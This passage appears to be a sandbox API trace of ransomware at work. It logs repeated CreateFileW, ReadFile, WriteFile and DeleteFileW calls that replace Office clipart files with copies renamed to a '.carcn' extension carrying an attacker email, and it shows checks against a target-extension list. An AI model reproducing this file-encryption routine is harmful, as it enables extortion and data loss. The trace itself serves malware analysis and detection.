(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.574] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.574] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0296.575] GetLastError () returned 0x0 [0296.575] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x27a2, lpOverlapped=0x0) returned 1 [0296.576] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x27b0, lpOverlapped=0x0) returned 1 [0297.201] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.201] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.202] SetEndOfFile (hFile=0x340) returned 1 [0297.202] CloseHandle (hObject=0x340) returned 1 [0297.202] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.202] SetEndOfFile (hFile=0x364) returned 1 [0297.203] CloseHandle (hObject=0x364) returned 1 [0297.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0297.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.203] lstrlenW (lpString=".doc") returned 4 [0297.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.203] lstrlenW (lpString=".docx") returned 5 [0297.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.203] lstrlenW (lpString=".pdf") returned 4 [0297.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.204] lstrlenW (lpString=".xls") returned 4 [0297.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.204] lstrlenW (lpString=".xlsx") returned 5 [0297.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.204] lstrlenW (lpString=".ppt") returned 4 [0297.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.204] lstrlenW (lpString=".zip") returned 4 [0297.204] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.204] lstrlenW (lpString=".rar") returned 4 [0297.204] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.204] lstrlenW (lpString=".bz2") returned 4 [0297.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.204] lstrlenW (lpString=".7z") returned 3 [0297.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.204] lstrlenW (lpString=".dbf") returned 4 [0297.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.204] lstrlenW (lpString=".1cd") returned 4 [0297.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.204] lstrlenW (lpString=".jpg") returned 4 [0297.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.204] lstrlenW (lpString=".doc") returned 4 [0297.204] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.204] lstrlenW (lpString=".docx") returned 5 [0297.204] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.204] lstrlenW (lpString=".pdf") returned 4 [0297.204] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.204] lstrlenW (lpString=".xls") returned 4 [0297.204] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.204] lstrlenW (lpString=".xlsx") returned 5 [0297.204] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.204] lstrlenW (lpString=".ppt") returned 4 [0297.204] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.205] lstrlenW (lpString=".zip") returned 4 [0297.205] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.205] lstrlenW (lpString=".rar") returned 4 [0297.205] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.205] lstrlenW (lpString=".bz2") returned 4 [0297.205] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.205] lstrlenW (lpString=".7z") returned 3 [0297.205] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.205] lstrlenW (lpString=".dbf") returned 4 [0297.205] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.205] lstrlenW (lpString=".1cd") returned 4 [0297.205] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.205] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0297.205] lstrlenW (lpString=".jpg") returned 4 [0297.205] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.205] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.205] lstrlenW (lpString="BL00261_.WMF") returned 12 [0297.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.205] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=12482) returned 1 [0297.205] CloseHandle (hObject=0x364) returned 1 [0297.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0297.206] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.206] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.206] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0297.206] GetLastError () returned 0x0 [0297.206] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0297.216] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0297.220] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.220] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.220] SetEndOfFile (hFile=0x340) returned 1 [0297.220] CloseHandle (hObject=0x340) returned 1 [0297.221] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.221] SetEndOfFile (hFile=0x364) returned 1 [0297.222] CloseHandle (hObject=0x364) returned 1 [0297.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.222] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0297.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.223] lstrlenW (lpString=".doc") returned 4 [0297.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.223] lstrlenW (lpString=".docx") returned 5 [0297.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.223] lstrlenW (lpString=".pdf") returned 4 [0297.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.223] lstrlenW (lpString=".xls") returned 4 [0297.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.223] lstrlenW (lpString=".xlsx") returned 5 [0297.223] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.223] lstrlenW (lpString=".ppt") returned 4 [0297.223] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.223] lstrlenW (lpString=".zip") returned 4 [0297.223] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.223] lstrlenW (lpString=".rar") returned 4 [0297.223] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.223] lstrlenW (lpString=".bz2") returned 4 [0297.223] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.223] lstrlenW (lpString=".7z") returned 3 [0297.223] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.223] lstrlenW (lpString=".dbf") returned 4 [0297.223] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.224] lstrlenW (lpString=".1cd") returned 4 [0297.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.224] lstrlenW (lpString=".jpg") returned 4 [0297.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.224] lstrlenW (lpString=".doc") returned 4 [0297.224] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.224] lstrlenW (lpString=".docx") returned 5 [0297.224] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.224] lstrlenW (lpString=".pdf") returned 4 [0297.224] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.224] lstrlenW (lpString=".xls") returned 4 [0297.224] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.224] lstrlenW (lpString=".xlsx") returned 5 [0297.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.224] lstrlenW (lpString=".ppt") returned 4 [0297.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.224] lstrlenW (lpString=".zip") returned 4 [0297.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.224] lstrlenW (lpString=".rar") returned 4 [0297.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.224] lstrlenW (lpString=".bz2") returned 4 [0297.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.224] lstrlenW (lpString=".7z") returned 3 [0297.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.224] lstrlenW (lpString=".dbf") returned 4 [0297.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.224] lstrlenW (lpString=".1cd") returned 4 [0297.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0297.224] lstrlenW (lpString=".jpg") returned 4 [0297.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.225] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.225] lstrlenW (lpString="BL00262_.WMF") returned 12 [0297.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.225] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=2556) returned 1 [0297.225] CloseHandle (hObject=0x364) returned 1 [0297.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0297.225] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.226] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.226] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0297.226] GetLastError () returned 0x0 [0297.226] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x9fc, lpOverlapped=0x0) returned 1 [0297.227] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xa00, lpOverlapped=0x0) returned 1 [0297.230] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0297.230] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0297.230] SetEndOfFile (hFile=0x340) returned 1 [0297.230] CloseHandle (hObject=0x340) returned 1 [0297.230] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0297.230] SetEndOfFile (hFile=0x364) returned 1 [0297.231] CloseHandle (hObject=0x364) returned 1 [0297.231] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0297.231] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0297.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.232] lstrlenW (lpString=".doc") returned 4 [0297.232] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.232] lstrlenW (lpString=".docx") returned 5 [0297.232] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.232] lstrlenW (lpString=".pdf") returned 4 [0297.232] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.232] lstrlenW (lpString=".xls") returned 4 [0297.232] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.232] lstrlenW (lpString=".xlsx") returned 5 [0297.232] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.232] lstrlenW (lpString=".ppt") returned 4 [0297.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.234] lstrlenW (lpString=".zip") returned 4 [0297.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.234] lstrlenW (lpString=".rar") returned 4 [0297.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.234] lstrlenW (lpString=".bz2") returned 4 [0297.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.234] lstrlenW (lpString=".7z") returned 3 [0297.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.234] lstrlenW (lpString=".dbf") returned 4 [0297.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.234] lstrlenW (lpString=".1cd") returned 4 [0297.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.234] lstrlenW (lpString=".jpg") returned 4 [0297.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.234] lstrlenW (lpString=".doc") returned 4 [0297.234] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0297.234] lstrlenW (lpString=".docx") returned 5 [0297.234] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0297.234] lstrlenW (lpString=".pdf") returned 4 [0297.234] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0297.235] lstrlenW (lpString=".xls") returned 4 [0297.235] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0297.235] lstrlenW (lpString=".xlsx") returned 5 [0297.235] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0297.235] lstrlenW (lpString=".ppt") returned 4 [0297.235] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0297.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.235] lstrlenW (lpString=".zip") returned 4 [0297.235] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0297.235] lstrlenW (lpString=".rar") returned 4 [0297.235] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0297.235] lstrlenW (lpString=".bz2") returned 4 [0297.235] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0297.235] lstrlenW (lpString=".7z") returned 3 [0297.235] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0297.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.235] lstrlenW (lpString=".dbf") returned 4 [0297.235] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0297.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.235] lstrlenW (lpString=".1cd") returned 4 [0297.235] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0297.235] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0297.235] lstrlenW (lpString=".jpg") returned 4 [0297.235] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0297.236] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0297.236] lstrlenW (lpString="BL00265_.WMF") returned 12 [0297.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.236] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=5752) returned 1 [0297.236] CloseHandle (hObject=0x364) returned 1 [0297.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0297.236] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0297.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0297.237] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | 